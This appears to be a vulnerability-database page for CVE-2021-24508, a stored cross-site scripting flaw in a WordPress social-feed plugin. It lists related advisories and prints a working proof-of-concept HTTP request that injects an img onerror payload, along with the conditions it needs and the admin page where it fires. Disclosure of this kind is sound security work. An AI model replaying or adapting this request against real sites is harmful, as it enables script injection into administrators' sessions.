| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
 | CVE-2021-24508 | 13 Sep 202118:15 | – | attackerkb |
 | CVE-2021-24508 | 20 Jul 202621:00 | – | circl |
 | WordPress 插件跨站脚本漏洞 | 13 Sep 202100:00 | – | cnnvd |
 | CVE-2021-24508 | 13 Sep 202117:56 | – | cve |
 | CVE-2021-24508 Smash Balloon Social Post Feed < 2.19.2 - Unauthenticated Stored XSS | 13 Sep 202117:56 | – | cvelist |
 | CVE-2021-24508 | 13 Sep 202118:15 | – | nvd |
 | WordPress Smash Balloon Social Post Feed Plugin < 2.19.2 XSS Vulnerability | 12 Oct 202100:00 | – | openvas |
 | CVE-2021-24508 | 13 Sep 202118:15 | – | osv |
 | WordPress Smash Balloon Social Post Feed plugin <= 2.19.1 - Unauthenticated Stored Cross-Site Scripting (XSS) vulnerability | 16 Aug 202100:00 | – | patchstack |
 | Cross site scripting | 13 Sep 202118:15 | – | prion |
10
For the attack to be successful, the following requirements need to be meet
- Max payload size: 31 characters
- feedID parameter length must be greater than 31 characters to trigger the echo of unescaped data
- The shortCodeAtts parameter value must be uniq
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 192
Connection: close
action=feed_locator&feedLocatorData[0][feedID]=<img%20src%20onerror=alert(/XSS/)>
&feedLocatorData[0][shortCodeAtts]=uniq1234&feedLocatorData[0][postID]=1&feedLocatorData[0][location]=footer
XSS will be triggered at https://example.com/wp-admin/admin.php?page=cff-top&tab=allfeedsData
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16 Aug 2021 07:24Current
CVSS 24.3
CVSS 3.16.1
EPSS0.01343